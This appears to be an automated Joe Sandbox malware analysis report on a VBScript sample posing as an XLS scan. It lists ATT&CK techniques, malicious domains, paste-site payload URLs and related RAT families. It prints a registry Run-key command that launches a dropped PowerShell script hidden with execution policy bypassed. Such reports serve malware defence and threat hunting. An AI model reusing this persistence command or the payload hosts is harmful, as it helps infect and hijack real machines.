Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	221 Process Injection	1 DLL Side-Loading	LSA Secrets	33 System Information Discovery	SSH	Keylogging	1 Remote Access Software	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 Bypass User Account Control	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	2 Non-Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	113 Application Layer Protocol	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	221 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SKMBT_77122012816310TD0128_17311_XLS.vbs	3%	ReversingLabs
SKMBT_77122012816310TD0128_17311_XLS.vbs	10%	Virustotal		Browse

Source	Detection	Scanner	Link
paste.ee	1%	Virustotal	Browse
desckvbrat.com.br	7%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse
gratitudeseekers.com	0%	Virustotal	Browse
www.gratitudeseekers.com	0%	Virustotal	Browse
ftp.desckvbrat.com.br	8%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://go.microsoft.co	1%	Virustotal		Browse
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://paste.ee/d/Ga0HE/0	2%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
http://ftp.desckvbrat.com.br	8%	Virustotal		Browse
http://paste.ee	1%	Virustotal		Browse
https://www.gratitudeseekers.com/wp-includes/customize/c	0%	Virustotal		Browse
https://paste.ee/d/RdlsG/0P	2%	Virustotal		Browse
http://desckvbrat.com.br	7%	Virustotal		Browse
https://analytics.paste.ee	1%	Virustotal		Browse
https://paste.ee	1%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://www.gratitudeseekers.com	0%	Virustotal		Browse
https://pastebin.com/raw/pQQ0n3eA	5%	Virustotal		Browse
https://www.gratitudeseekers.com/wp-includes/customize/css/bd.txt	1%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://paste.ee/d/b5xuX/0	2%	Virustotal		Browse
https://paste.ee/d/b5xuX/0P	2%	Virustotal		Browse
https://cdnjs.cloudflare.com	0%	Virustotal		Browse
212.162.149.163	1%	Virustotal		Browse
https://pastebin.com	0%	Virustotal		Browse
https://paste.ee/d/RdlsG/0	2%	Virustotal		Browse
http://pastebin.com	0%	Virustotal		Browse
https://www.gratitudeseekers.com	0%	Virustotal		Browse
https://secure.gravatar.com	0%	Virustotal		Browse
http://gratitudeseekers.com	0%	Virustotal		Browse
https://themes.googleusercontent.com	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
paste.ee	188.114.97.3	true	true	1%, Virustotal, Browse	unknown
desckvbrat.com.br	191.252.83.213	true	true	7%, Virustotal, Browse	unknown
pastebin.com	104.20.4.235	true	true	0%, Virustotal, Browse	unknown
gratitudeseekers.com	173.231.247.100	true	true	0%, Virustotal, Browse	unknown
www.gratitudeseekers.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
ftp.desckvbrat.com.br	unknown	unknown	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://paste.ee/d/Ga0HE/0	true	2%, Virustotal, Browse	unknown
https://pastebin.com/raw/pQQ0n3eA	false	5%, Virustotal, Browse	unknown
https://www.gratitudeseekers.com/wp-includes/customize/css/bd.txt	true	1%, Virustotal, Browse	unknown
https://paste.ee/d/b5xuX/0	true	2%, Virustotal, Browse	unknown
212.162.149.163	true	1%, Virustotal, Browse	unknown
https://paste.ee/d/RdlsG/0	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.microsoft.coE	powershell.exe, 00000008.00000002.2365489324.0000015ECE77E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2341736438.000001BDB1A11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3016225827.000001BDBFF8C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2756972243.000001ABF1B4D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2656723724.000001C11006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7B7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://paste.ee/d/RdlsG/0P	powershell.exe, 00000004.00000002.2341736438.000001BDB164A000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2258056949.0000015EB7A31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.microsoft.co	powershell.exe, 00000004.00000002.3083725979.000001BDC8340000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://paste.ee	powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.2283194941.000001ABE1D02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100222000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2258056949.0000015EB7A31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://ftp.desckvbrat.com.br	powershell.exe, 00000004.00000002.2341736438.000001BDB161F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16C8000.00000004.00000800.00020000.00000000.sdmp	true	8%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000004.00000002.2341736438.000001BDB0F0F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://desckvbrat.com.br	powershell.exe, 00000004.00000002.2341736438.000001BDB161F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16C8000.00000004.00000800.00020000.00000000.sdmp	true	7%, Virustotal, Browse	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.gratitudeseekers.com/wp-includes/customize/c	powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://paste.ee	powershell.exe, 00000004.00000002.2341736438.000001BDB164A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0142000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://pastebin.com/GAC	powershell.exe, 0000000D.00000002.2750883006.000001EB653E9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.2258056949.0000015EB7A31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://www.gratitudeseekers.com	powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://geoplugin.net/json.gp	RegAsm.exe	false	URL Reputation: safe	unknown
https://www.google.com	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ion=v4.5	powershell.exe, 00000006.00000002.2889045925.000001C1774C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://paste.ee/d/b5xuX/0P	powershell.exe, 00000004.00000002.2341736438.000001BDB1932000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
https://www.gratitudeseekers.com	powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.2283194941.000001ABE1D02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100222000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2341736438.000001BDB1A11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3016225827.000001BDBFF8C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2756972243.000001ABF1B4D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2656723724.000001C11006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7B7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://gratitudeseekers.com	powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.3114097341.0000025100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDAFF21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2283194941.000001ABE1AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB61A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2368812441.000001EB4D351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.3114097341.0000025100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDAFF21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2283194941.000001ABE1AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273102577.000001C100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB61A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2368812441.000001EB4D351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	powershell.exe, 0000000D.00000002.2368812441.000001EB4D7FD000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://pastebin.com	powershell.exe, 0000000D.00000002.2368812441.000001EB4D7F6000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://secure.gravatar.com	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://themes.googleusercontent.com	powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://oneget.org	powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true
212.162.149.163	unknown	Netherlands	64236	UNREAL-SERVERSUS	true
191.252.83.213	desckvbrat.com.br	Brazil	27715	LocawebServicosdeInternetSABR	true
173.231.247.100	gratitudeseekers.com	United States	54641	INMOTI-1US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524804
Start date and time:	2024-10-03 09:27:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SKMBT_77122012816310TD0128_17311_XLS.vbs
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.expl.evad.winVBS@37/31@4/5
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 96% Number of executed functions: 72 Number of non-executed functions: 215
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegAsm.exe, PID 2820 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1600 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3136 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4924 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5424 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6764 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:28:06	API Interceptor	123x Sleep call for process: powershell.exe modified
03:28:56	API Interceptor	1008373x Sleep call for process: RegAsm.exe modified
09:28:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_vuw cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
09:28:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_vuw cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.4.235	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	XWorm	Browse	pastebin.com/raw/V9y5Q5vv
	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
188.114.97.3	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/758bYd86/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/58PSl7si/download
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	BX7yRz7XqF.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	cloud.dellicon.top/1000/500/
	jKSjtQ8W7O.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ministryofficedownloadcloudserver.screenpont.xyz/78/CKP/
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	sostener.vbs	Get hash	malicious	Njrat	Browse	104.20.4.235
	sostener.vbs	Get hash	malicious	XWorm	Browse	104.20.4.235
	3.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	6.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	5.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	dropbox.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	dropbox.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	104.20.3.235
	q71n2VrEY3.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	lvHIHLt0b2.exe	Get hash	malicious	DCRat	Browse	104.20.3.235
paste.ee	Purchase Order - PO14895.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	sostener.vbs	Get hash	malicious	Njrat	Browse	188.114.97.3
	sostener.vbs	Get hash	malicious	XWorm	Browse	188.114.96.3
	NhtSITq9Zp.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	risTLdc664.vbs	Get hash	malicious	FormBook	Browse	188.114.97.3
	NTiwJrX4R4.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	o45q0zbdwt.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
